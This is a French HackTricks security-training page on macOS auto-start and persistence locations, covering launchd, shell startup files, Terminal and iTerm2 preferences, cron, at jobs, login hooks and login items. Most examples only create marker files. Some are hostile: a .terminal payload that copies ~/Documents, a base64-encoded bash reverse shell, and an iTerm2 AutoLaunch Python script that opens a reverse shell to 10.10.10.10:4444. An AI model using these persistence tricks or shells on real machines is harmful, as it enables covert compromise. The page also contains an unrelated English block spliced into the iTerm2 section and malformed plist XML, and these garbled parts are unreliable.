macOS Auto Start

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Cette section est fortement basée sur la série de blogs Au-delà des bons vieux LaunchAgents, le but est d'ajouter plus d'emplacements de démarrage automatique (si possible), d'indiquer quelles techniques fonctionnent toujours de nos jours avec la dernière version de macOS (13.4) et de spécifier les autorisations nécessaires.

Contournement de la Sandbox

Ici, vous pouvez trouver des emplacements de démarrage utiles pour le contournement de la sandbox qui vous permettent simplement d'exécuter quelque chose en l'écrivant dans un fichier et en attendant une action très courante, un montant déterminé de temps ou une action que vous pouvez généralement effectuer depuis l'intérieur d'une sandbox sans avoir besoin de permissions root.

Launchd

  • Utile pour contourner la sandbox :

  • Contournement de TCC : 🔴

Emplacements

  • /Library/LaunchAgents

  • Déclencheur : Redémarrage

  • Nécessite des droits root

  • /Library/LaunchDaemons

  • Déclencheur : Redémarrage

  • Nécessite des droits root

  • /System/Library/LaunchAgents

  • Déclencheur : Redémarrage

  • Nécessite des droits root

  • /System/Library/LaunchDaemons

  • Déclencheur : Redémarrage

  • Nécessite des droits root

  • ~/Library/LaunchAgents

  • Déclencheur : Reconnexion

  • ~/Library/LaunchDemons

  • Déclencheur : Reconnexion

Description & Exploitation

launchd est le premier processus exécuté par le noyau OX S au démarrage et le dernier à se terminer à l'arrêt. Il devrait toujours avoir le PID 1. Ce processus lira et exécutera les configurations indiquées dans les plists ASEP dans :

  • /Library/LaunchAgents : Agents par utilisateur installés par l'administrateur

  • /Library/LaunchDaemons : Daemons système installés par l'administrateur

  • /System/Library/LaunchAgents : Agents par utilisateur fournis par Apple.

  • /System/Library/LaunchDaemons : Daemons système fournis par Apple.

Lorsqu'un utilisateur se connecte, les plists situés dans /Users/$USER/Library/LaunchAgents et /Users/$USER/Library/LaunchDemons sont démarrés avec les permissions des utilisateurs connectés.

La principale différence entre les agents et les daemons est que les agents sont chargés lorsque l'utilisateur se connecte et les daemons sont chargés au démarrage du système (car il y a des services comme ssh qui doivent être exécutés avant que tout utilisateur n'accède au système). De plus, les agents peuvent utiliser l'interface graphique tandis que les daemons doivent s'exécuter en arrière-plan.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Il existe des cas où un agent doit être exécuté avant la connexion de l'utilisateur, ceux-ci sont appelés PreLoginAgents. Par exemple, cela est utile pour fournir une technologie d'assistance lors de la connexion. Ils peuvent également être trouvés dans /Library/LaunchAgents (voir ici un exemple).

Les nouveaux fichiers de configuration de Daemons ou Agents seront chargés après le prochain redémarrage ou en utilisant launchctl load <target.plist>. Il est également possible de charger des fichiers .plist sans cette extension avec launchctl -F <file> (cependant, ces fichiers plist ne seront pas automatiquement chargés après le redémarrage). Il est également possible de décharger avec launchctl unload <target.plist> (le processus pointé par celui-ci sera terminé).

Pour s'assurer qu'il n'y a rien (comme un remplacement) empêchant un Agent ou Daemon de s'exécuter, exécutez : sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist

Listez tous les agents et daemons chargés par l'utilisateur actuel :

launchctl list

Si un plist est détenu par un utilisateur, même s'il se trouve dans des dossiers système de démon, la tâche sera exécutée en tant qu'utilisateur et non en tant que root. Cela peut prévenir certaines attaques d'escalade de privilèges.

Fichiers de démarrage shell

Writeup: https://theevilbit.github.io/beyond/beyond_0001/ Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Utile pour contourner le bac à sable :

  • Contournement de TCC :

  • Mais vous devez trouver une application avec un contournement de TCC qui exécute un shell chargeant ces fichiers

Emplacements

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile

  • Déclencheur : Ouvrir un terminal avec zsh

  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin

  • Déclencheur : Ouvrir un terminal avec zsh

  • Nécessite les droits root

  • ~/.zlogout

  • Déclencheur : Fermer un terminal avec zsh

  • /etc/zlogout

  • Déclencheur : Fermer un terminal avec zsh

  • Nécessite les droits root

  • Potentiellement plus dans : man zsh

  • ~/.bashrc

  • Déclencheur : Ouvrir un terminal avec bash

  • /etc/profile (n'a pas fonctionné)

  • ~/.profile (n'a pas fonctionné)

  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/

  • Déclencheur : Censé être déclenché avec xterm, mais il n'est pas installé et même après installation, cette erreur est générée : xterm : DISPLAY is not set

Description & Exploitation

Lors de l'initialisation d'un environnement shell tel que zsh ou bash, certains fichiers de démarrage sont exécutés. macOS utilise actuellement /bin/zsh comme shell par défaut. Ce shell est automatiquement accédé lorsque l'application Terminal est lancée ou lorsqu'un appareil est accédé via SSH. Bien que bash et sh soient également présents dans macOS, ils doivent être explicitement invoqués pour être utilisés.

La page de manuel de zsh, que nous pouvons lire avec man zsh, contient une longue description des fichiers de démarrage.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Applications Réouvertes

Configurer l'exploitation indiquée et se déconnecter et se reconnecter ou même redémarrer n'a pas fonctionné pour moi pour exécuter l'application. (L'application n'était pas exécutée, peut-être qu'elle doit être en cours d'exécution lorsque ces actions sont effectuées)

Writeup: https://theevilbit.github.io/beyond/beyond_0021/

  • Utile pour contourner le bac à sable :

  • Contournement de TCC : 🔴

Emplacement

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

  • Déclencheur : Redémarrer l'ouverture des applications

Description & Exploitation

Toutes les applications à rouvrir se trouvent dans le plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Ainsi, pour que les applications à rouvrir lancent la vôtre, vous devez simplement ajouter votre application à la liste.

L'UUID peut être trouvé en listant ce répertoire ou avec ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

Pour vérifier les applications qui seront rouvertes, vous pouvez faire :

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Pour ajouter une application à cette liste, vous pouvez utiliser :

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Préférences du Terminal

  • Utile pour contourner le bac à sable :

  • Contournement de TCC :

  • Le Terminal doit avoir les autorisations FDA de l'utilisateur qui l'utilise

Emplacement

  • ~/Library/Preferences/com.apple.Terminal.plist

  • Déclencheur : Ouvrir le Terminal

Description & Exploitation

Dans ~/Library/Preferences sont stockées les préférences de l'utilisateur dans les Applications. Certaines de ces préférences peuvent contenir une configuration pour exécuter d'autres applications/scripts.

Par exemple, le Terminal peut exécuter une commande au démarrage :

Cette configuration est reflétée dans le fichier ~/Library/Preferences/com.apple.Terminal.plist de cette manière :

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Donc, si le plist des préférences du terminal dans le système pouvait être écrasé, alors la fonctionnalité open peut être utilisée pour ouvrir le terminal et cette commande sera exécutée.

Vous pouvez ajouter ceci depuis la ligne de commande avec:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Scripts Terminal / Autres extensions de fichiers

  • Utile pour contourner le bac à sable:

  • Contournement de TCC:

  • Utilisation du terminal pour avoir les autorisations FDA de l'utilisateur qui l'utilise

Emplacement

  • N'importe où

  • Déclencheur: Ouvrir le Terminal

Description & Exploitation

Si vous créez un script .terminal et l'ouvrez, l'application Terminal sera automatiquement invoquée pour exécuter les commandes indiquées. Si l'application Terminal a des privilèges spéciaux (comme TCC), votre commande sera exécutée avec ces privilèges spéciaux.

Essayez avec:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

Vous pouvez également utiliser les extensions .command, .tool, avec du contenu de scripts shell réguliers et ils seront également ouverts par Terminal.

Si le terminal a l'accès complet au disque, il pourra effectuer cette action (notez que la commande exécutée sera visible dans une fenêtre de terminal).

Plugins Audio

Writeup: https://theevilbit.github.io/beyond/beyond_0013/ Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • Utile pour contourner le bac à sable:

  • Contournement de TCC : 🟠

  • Vous pourriez obtenir un accès TCC supplémentaire

Emplacement

  • /Library/Audio/Plug-Ins/HAL

  • Nécessite des privilèges d'administrateur

  • Déclencheur : Redémarrer coreaudiod ou l'ordinateur

  • /Library/Audio/Plug-ins/Components

  • Nécessite des privilèges d'administrateur

  • Déclencheur : Redémarrer coreaudiod ou l'ordinateur

  • ~/Library/Audio/Plug-ins/Components

  • Déclencheur : Redémarrer coreaudiod ou l'ordinateur

  • /System/Library/Components

  • Nécessite des privilèges d'administrateur

  • Déclencheur : Redémarrer coreaudiod ou l'ordinateur

Description

Selon les writeups précédents, il est possible de compiler certains plugins audio et de les charger.

Plugins QuickLook

Writeup: https://theevilbit.github.io/beyond/beyond_0028/

  • Utile pour contourner le bac à sable:

  • Contournement de TCC : 🟠

  • Vous pourriez obtenir un accès TCC supplémentaire

Emplacement

  • /System/Library/QuickLook

  • /Library/QuickLook

  • ~/Library/QuickLook

  • /Applications/NomApplicationIci/Contents/Library/QuickLook/

  • ~/Applications/NomApplicationIci/Contents/Library/QuickLook/

Description & Exploitation

Les plugins QuickLook peuvent être exécutés lorsque vous déclenchez l'aperçu d'un fichier (appuyez sur la barre d'espace avec le fichier sélectionné dans Finder) et qu'un plugin prenant en charge ce type de fichier est installé.

Il est possible de compiler votre propre plugin QuickLook, de le placer dans l'un des emplacements précédents pour le charger, puis d'aller sur un fichier pris en charge et d'appuyer sur espace pour le déclencher.

Hooks de Connexion/Déconnexion

Cela n'a pas fonctionné pour moi, ni avec le LoginHook utilisateur ni avec le LogoutHook root

Writeup : https://theevilbit.github.io/beyond/beyond_0022/

  • Utile pour contourner le bac à sable:

  • Contournement de TCC : 🔴

Emplacement

  • Vous devez être capable d'exécuter quelque chose comme defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh

  • Situé dans ~/Library/Preferences/com.apple.loginwindow.plist

Ils sont obsolètes mais peuvent être utilisés pour exécuter des commandes lorsque un utilisateur se connecte.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

Ce paramètre est stocké dans /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

Pour le supprimer :

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

Le fichier de l'utilisateur root est stocké dans /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Contournement conditionnel du bac à sable

Ici, vous pouvez trouver des emplacements de démarrage utiles pour le contournement du bac à sable qui vous permet de simplement exécuter quelque chose en l'écrivant dans un fichier et en attendant des conditions pas très courantes comme des programmes spécifiques installés, des actions d'utilisateur "non courantes" ou des environnements.

Cron

Writeup: https://theevilbit.github.io/beyond/beyond_0004/

  • Utile pour contourner le bac à sable:

  • Cependant, vous devez pouvoir exécuter le binaire crontab

  • Ou être root

  • Contournement de TCC : 🔴

Emplacement

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/

  • Accès en écriture directe nécessite les droits root. Pas besoin de droits root si vous pouvez exécuter crontab <fichier>

  • Déclencheur : Dépend de la tâche cron

Description et exploitation

Listez les tâches cron de l'utilisateur actuel avec :

crontab -l

Vous pouvez également voir tous les travaux cron des utilisateurs dans /usr/lib/cron/tabs/ et /var/at/tabs/ (nécessite des privilèges root).

Dans MacOS, plusieurs dossiers exécutant des scripts à certaines fréquences peuvent être trouvés dans :

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

Voici où vous pouvez trouver les tâches cron régulières, les tâches at (peu utilisées) et les tâches périodiques (principalement utilisées pour nettoyer les fichiers temporaires). Les tâches périodiques quotidiennes peuvent être exécutées par exemple avec : periodic daily.

Pour ajouter un travail cron d'utilisateur de manière programmatique, il est possible d'utiliser :

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Writeup: https://theevilbit.github.io/beyond/beyond_0002/

  • Utile pour contourner le bac à sable:

  • Contournement de TCC:

  • iTerm2 utilisé pour avoir accordé des autorisations TCC

Emplacements

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch

  • Déclencheur: Ouvrir iTerm

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt

  • Déclencheur: Ouvrir iTerm

  • ~/Library/Preferences/com.googlecode.iterm2.plist

  • Déclencheur: Ouvrir iTerm

Description & Exploitation

Les scripts stockés dans ~/Library/Application Support/iTerm2/Scripts/AutoLaunch seront exécutés. Par exemple:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
## macOS Auto Start Locations

### Launch Agents

Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.

### Launch Daemons

Launch Daemons are used to run processes at system startup. They are stored in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/`.

### Login Items

Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.

### Startup Items

Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

Le script ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt sera également exécuté:

do shell script "touch /tmp/iterm2-autolaunchscpt"

Le fichier de préférences iTerm2 situé dans ~/Library/Preferences/com.googlecode.iterm2.plist peut indiquer une commande à exécuter lorsque le terminal iTerm2 est ouvert.

Ce paramètre peut être configuré dans les paramètres d'iTerm2 :

Et la commande est reflétée dans les préférences :

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Vous pouvez définir la commande à exécuter avec :

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

Il est très probable qu'il existe d'autres moyens d'abuser des préférences d'iTerm2 pour exécuter des commandes arbitraires.

xbar

Writeup: https://theevilbit.github.io/beyond/beyond_0007/

  • Utile pour contourner le bac à sable :

  • Mais xbar doit être installé

  • Contournement de TCC :

  • Il demande des autorisations d'accessibilité

Emplacement

  • ~/Library/Application\ Support/xbar/plugins/

  • Déclencheur : Une fois que xbar est exécuté

Description

Si le programme populaire xbar est installé, il est possible d'écrire un script shell dans ~/Library/Application\ Support/xbar/plugins/ qui sera exécuté lorsque xbar est lancé :

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Writeup: https://theevilbit.github.io/beyond/beyond_0008/

  • Utile pour contourner le bac à sable:

  • Mais Hammerspoon doit être installé

  • Contournement de TCC:

  • Il demande des autorisations d'accessibilité

Emplacement

  • ~/.hammerspoon/init.lua

  • Déclencheur: Une fois que Hammerspoon est exécuté

Description

Hammerspoon sert de plateforme d'automatisation pour macOS, utilisant le langage de script LUA pour ses opérations. Notamment, il prend en charge l'intégration de code AppleScript complet et l'exécution de scripts shell, améliorant considérablement ses capacités de script.

L'application recherche un seul fichier, ~/.hammerspoon/init.lua, et lorsque le script est démarré, il sera exécuté.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • Utile pour contourner le bac à sable:

  • Mais BetterTouchTool doit être installé

  • Contournement de TCC:

  • Il demande les autorisations Automation-Shortcuts et Accessibilité

Emplacement

  • ~/Library/Application Support/BetterTouchTool/*

Cet outil permet d'indiquer des applications ou des scripts à exécuter lorsque certaines combinaisons de touches sont pressées. Un attaquant pourrait configurer sa propre combinaison de touches et action à exécuter dans la base de données pour exécuter du code arbitraire (une combinaison de touches pourrait consister simplement à appuyer sur une touche).

Alfred

  • Utile pour contourner le bac à sable:

  • Mais Alfred doit être installé

  • Contournement de TCC:

  • Il demande les autorisations Automation, Accessibilité et même Accès complet au disque

Emplacement

  • ???

Il permet de créer des workflows qui peuvent exécuter du code lorsque certaines conditions sont remplies. Potentiellement, il est possible pour un attaquant de créer un fichier de workflow et de le faire charger par Alfred (il est nécessaire de payer la version premium pour utiliser les workflows).

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

  • Utile pour contourner le bac à sable:

  • Mais ssh doit être activé et utilisé

  • Contournement de TCC:

  • SSH a besoin d'un accès complet au disque

Emplacement

  • ~/.ssh/rc

  • Déclencheur: Connexion via ssh

  • /etc/ssh/sshrc

  • Nécessite les droits root

  • Déclencheur: Connexion via ssh

Pour activer ssh, un accès complet au disque est requis:

sudo systemsetup -setremotelogin on

Description & Exploitation

Par défaut, sauf si PermitUserRC no dans /etc/ssh/sshd_config, lorsque un utilisateur se connecte via SSH, les scripts /etc/ssh/sshrc et ~/.ssh/rc seront exécutés.

Éléments de connexion

Writeup: https://theevilbit.github.io/beyond/beyond_0003/

  • Utile pour contourner le bac à sable :

  • Mais vous devez exécuter osascript avec des arguments

  • Contournement de TCC : 🔴

Emplacements

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

  • Déclencheur : Connexion

  • Charge utile d'exploitation stockée en appelant osascript

  • /var/db/com.apple.xpc.launchd/loginitems.501.plist

  • Déclencheur : Connexion

  • Nécessite des privilèges root

Description

Dans Préférences Système -> Utilisateurs et groupes -> Éléments de connexion, vous pouvez trouver les éléments à exécuter lorsque l'utilisateur se connecte. Il est possible de les lister, ajouter et supprimer en ligne de commande :

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

Ces éléments sont stockés dans le fichier ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

Les éléments de connexion peuvent également être indiqués en utilisant l'API SMLoginItemSetEnabled qui stockera la configuration dans /var/db/com.apple.xpc.launchd/loginitems.501.plist

ZIP en tant qu'élément de connexion

(Vérifiez la section précédente sur les éléments de connexion, c'est une extension)

Si vous stockez un fichier ZIP en tant qu'élément de connexion, l'Archive Utility l'ouvrira et si le zip était par exemple stocké dans ~/Library et contenait le dossier LaunchAgents/file.plist avec une porte dérobée, ce dossier sera créé (ce n'est pas le cas par défaut) et le plist sera ajouté afin que la prochaine fois que l'utilisateur se connectera, la porte dérobée indiquée dans le plist sera exécutée.

Une autre option serait de créer les fichiers .bash_profile et .zshenv à l'intérieur du répertoire de l'utilisateur afin que si le dossier LaunchAgents existe déjà, cette technique fonctionnerait toujours.

At

Analyse : https://theevilbit.github.io/beyond/beyond_0014/

  • Utile pour contourner le bac à sable :

  • Mais vous devez exécuter at et il doit être activé

  • Contournement de TCC : 🔴

Emplacement

  • Besoin d'exécuter at et il doit être activé

Description

Les tâches at sont conçues pour planifier des tâches ponctuelles à exécuter à des moments précis. Contrairement aux tâches cron, les tâches at sont automatiquement supprimées après l'exécution. Il est crucial de noter que ces tâches persistent à travers les redémarrages du système, ce qui les classe comme des préoccupations de sécurité potentielles dans certaines conditions.

Par défaut, elles sont désactivées mais l'utilisateur root peut les activer avec :

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

Cela créera un fichier dans 1 heure :

echo "echo 11 > /tmp/at.txt" | at now+1

Vérifiez la file d'attente des tâches en utilisant atq:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

Ci-dessus, nous pouvons voir deux tâches planifiées. Nous pouvons imprimer les détails de la tâche en utilisant at -c NUMÉRODETÂCHE.

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

Si les tâches AT ne sont pas activées, les tâches créées ne seront pas exécutées.

Les fichiers de tâches peuvent être trouvés à /private/var/at/jobs/